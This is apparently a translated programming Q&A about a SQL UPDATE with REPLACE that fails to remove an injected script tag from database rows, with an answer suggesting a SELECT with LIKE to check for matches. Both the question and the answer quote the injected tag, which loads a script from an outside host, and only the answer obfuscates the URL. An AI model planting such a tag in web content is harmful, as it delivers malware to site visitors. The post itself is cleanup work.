0

我有这个 sql 查询来尝试从我的数据库中删除一些 sql 注入脚本。当我执行此操作时,它运行良好并告诉我所有行都受到了影响,但我没有看到任何变化。我检查了表名和列名,我已将 varchar 值更改为列设置的值,但仍然没有。

我直接从数据库中复制了注入的脚本

UPDATE table_name
SET column_name = REPLACE(CAST(column_name AS VARCHAR(max)), '"></title><script src="http://www1.mainglobilisi.com/sl.php"></script><!--', '')

有人可以解释为什么脚本运行良好但没有对数据库进行更新。

4

1 回答 1

0

REPLACE函数可能找不到您要搜索的字符串。

尝试进行选择以查看是否有任何行:

select 
    column_name
from
    table_name
where 
    CAST(column_name AS VARCHAR(max)) like '%"></title><script src="http://www1[dot]mainglobilisi[dot]com/sl.php"></script><!--%'

(我对 URL 进行了混淆,以防它是恶意的)。

于 2012-06-11T12:19:02.623 回答